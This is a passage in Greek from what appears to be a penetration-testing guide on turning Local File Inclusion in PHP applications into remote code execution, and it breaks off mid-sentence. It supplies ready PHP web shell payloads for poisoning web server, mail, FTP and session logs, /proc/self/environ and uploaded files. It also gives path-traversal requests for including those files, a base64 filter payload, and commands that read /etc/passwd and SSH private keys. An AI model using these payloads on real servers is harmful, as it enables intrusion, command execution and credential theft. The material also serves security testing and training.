Εάν ο διακομιστής Apache ή Nginx είναι ευάλωτος σε LFI μέσα στη συνάρτηση συμπερίληψης, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στα /var/log/apache2/access.log
ή /var/log/nginx/access.log
, ορίζοντας μέσα στο user agent ή μέσα σε ένα GET παράμετρο ένα php shell όπως <?php system($_GET['c']); ?>
και να συμπεριλάβετε αυτό το αρχείο
{% hint style="warning" %} Σημειώστε ότι εάν χρησιμοποιήσετε διπλά εισαγωγικά για το shell αντί για απλά εισαγωγικά, τα διπλά εισαγωγικά θα τροποποιηθούν σε "quote;", ο PHP θα εμφανίσει ένα σφάλμα και δεν θα εκτελεστεί τίποτα άλλο.
Επίσης, βεβαιωθείτε ότι γράφετε σωστά τη φορτία ή ο PHP θα εμφανίσει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε μια δεύτερη ευκαιρία. {% endhint %}
Αυτό μπορεί να γίνει επίσης και σε άλλα αρχεία καταγραφής, αλλά προσέξτε, ο κώδικας μέσα στα αρχεία καταγραφής μπορεί να έχει κωδικοποιηθεί με URL και αυτό μπορεί να καταστρέψει το Shell. Η κεφαλίδα authorisation "basic" περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell μπορεί να εισαχθεί μέσα σε αυτήν την κεφαλίδα.
Άλλοι πιθανοί διαδρομές καταγραφής:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Λίστα λέξεων για Fuzzing: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Μέσω Email
Στείλτε ένα email σε ένα εσωτερικό λογαριασμό (user@localhost) περιέχοντας το PHP payload σας όπως <?php echo system($_REQUEST["cmd"]); ?>
και προσπαθήστε να το συμπεριλάβετε στο email του χρήστη με ένα μονοπάτι όπως /var/mail/<USERNAME>
ή /var/spool/mail/<USERNAME>
Μέσω /proc/*/fd/*
- Μεταφορτώστε πολλαπλά shells (για παράδειγμα: 100)
- Συμπεριλάβετε http://example.com/index.php?page=/proc/$PID/fd/$FD, με $PID = PID της διεργασίας (μπορεί να εξαναγκαστεί με brute force) και $FD τον περιγραφέα αρχείου (μπορεί επίσης να εξαναγκαστεί με brute force)
Μέσω /proc/self/environ
Όπως ένα αρχείο καταγραφής, στείλτε το payload στο User-Agent, θα αντανακλαστεί μέσα στο αρχείο /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Μέσω αποστολής
Εάν μπορείτε να ανεβάσετε ένα αρχείο, απλά εισάγετε το shell payload μέσα σε αυτό (π.χ. : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Για να διατηρήσετε το αρχείο αναγνώσιμο, είναι καλύτερο να εισάγετε στα μεταδεδομένα των εικόνων/εγγράφων/PDF.
Μέσω μεταφόρτωσης αρχείου ZIP
Μεταφορτώστε ένα αρχείο ZIP που περιέχει ένα συμπιεσμένο PHP shell και αποκτήστε πρόσβαση:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Μέσω των συνεδριών PHP
Ελέγξτε εάν ο ιστότοπος χρησιμοποιεί συνεδρίες PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
Στην PHP αυτές οι συνεδρίες αποθηκεύονται σε αρχεία /var/lib/php5/sess\[PHPSESSID]_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Ορίστε το cookie σε <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Χρησιμοποιήστε το LFI για να συμπεριλάβετε το αρχείο της PHP συνεδρίας
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Μέσω ssh
Εάν το ssh είναι ενεργό, ελέγξτε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπαθήστε να αποκτήσετε πρόσβαση στο <HOME>/.ssh/id_rsa
Μέσω των αρχείων καταγραφής του vsftpd
Τα αρχεία καταγραφής για τον FTP διακομιστή vsftpd βρίσκονται στο /var/log/vsftpd.log. Στην περίπτωση που υπάρχει μια ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο διακομιστή vsftpd, μπορούν να ληφθούν υπόψη τα ακόλουθα βήματα:
- Εισαγάγετε ένα PHP payload στο πεδίο χρήστη κατά τη διαδικασία σύνδεσης.
- Μετά την εισαγωγή, χρησιμοποιήστε το LFI για να ανακτήσετε τα αρχεία καταγραφής του διακομιστή από το /var/log/vsftpd.log.
Μέσω του φίλτρου php base64 (χρησιμοποιώντας το base64)
Όπως φαίνεται σε αυτό το άρθρο, το PHP base64 φίλτρο απλά αγνοεί τα μη-Base64. Μπορείτε να το χρησιμοποιήσετε για να παρακάμψετε τον έλεγχο της κατάληξης του αρχείου: αν παρέχετε ένα base64 που τελειώνει με ".php", απλά αγνοεί το "." και προσθέτει το "php" στο base64. Παρακάτω παρατίθεται ένα παράδειγμα payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Μέσω φίλτρων php (χωρίς απαιτούμενο αρχείο)
Αυτό το άρθρο εξηγεί ότι μπορείτε να χρησιμοποιήσετε φίλτρα php για τη δημιουργία αυθαίρετου περιεχομένου ως έξοδο. Αυτό σημαίνει ότι μπορείτε να δημιουργήσετε αυθαίρετο κώδικα php για την ενσωμάτωση χωρίς να χρειάζεται να τον γράψετε σε ένα αρχείο.
{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}
Μέσω segmentation fault
Μεταφορτώστε ένα αρχείο που θα αποθηκευτεί ως προσωρινό στο /tmp
, και στο ίδιο αίτημα, προκαλέστε ένα segmentation fault, και τότε το προσωρινό αρχείο δεν θα διαγραφεί και μπορείτε να το αναζητήσετε.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}
Μέσω αποθήκευσης προσωρινών αρχείων Nginx
Εάν βρήκατε μια Τοπική Ενσωμάτωση Αρχείου και το Nginx τρέχει μπροστά από το PHP, μπορεί να είστε σε θέση να αποκτήσετε RCE με την ακόλουθη τεχνική:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}
Μέσω PHP_SESSION_UPLOAD_PROGRESS
Εάν βρήκατε μια Τοπική Ενσωμάτωση Αρχείου ακόμα κι αν δεν έχετε μια συνεδρία και το session.auto_start
είναι Off
. Εάν παρέχετε το PHP_SESSION_UPLOAD_PROGRESS
στα multipart POST δεδομένα, το PHP θα ενεργοποιήσει τη συνεδρία για εσάς. Μπορείτε να καταχραστείτε αυτό για να αποκτήσετε RCE:
{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}
Μέσω μεταφόρτωσης προσωρινών αρχείων σε Windows
Εάν βρήκατε μια Τοπική Ενσωμάτωση Αρχείου και ο διακομιστής τρέχει σε Windows, μπορείτε να αποκτήσετε RCE:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}
Μέσω phpinfo() (file_uploads = on)
Εάν βρήκατε μια Τοπική Ενσωμάτωση Αρχείου και ένα αρχείο που εκθέτει το phpinfo() με την file_uploads = on, μπορείτε να αποκτήσετε RCE:
{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}
Μέσω compress.zlib + PHP_STREAM_PREFER_STUDIO
+ αποκάλυψη διαδρομής
Εάν βρήκατε μια Τοπική Ενσωμάτωση Αρχείου και μπορείτε να εξαγάγετε τη διαδρομή του προσωρινού αρχείου, ΑΛΛΑ ο διακομιστής ελέγχει αν το αρχείο που πρόκειται να ενσωματωθεί έχει σήματα PHP, μπορείτε να προσπαθήσετε να παρακάμψετε αυτόν τον έλεγχο με αυτήν τη Race Condition:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}
Μέσω αιώνιας αναμονής + brute force
Εάν μπορείτε να καταχραστείτε την LFI για να μεταφορτώσετε προσωρινά αρχεία και να κάνετε τον διακομιστή να κρέμεται στην εκτέλεση του PHP, τότε μπορείτε να δοκιμάσετε brute force ονόματα αρχείων για ώρες για να βρείτε το προσωρινό αρχείο:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}
Σε Fatal Error
Εάν ενσωματώσετε οποιοδήποτε από τα αρχεία /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Πρέπει να ενσωματώσετε το ίδιο αρχείο 2 φορές για να προκαλέσετε αυτό το σφάλμα).
Δεν ξέρω πώς είναι χρήσιμο αυτό, αλλά μπορεί να είναι.
_Ακόμα κι αν προκαλέσετε ένα PHP Fatal Error, τα προσωρινά αρχεία που μεταφορτ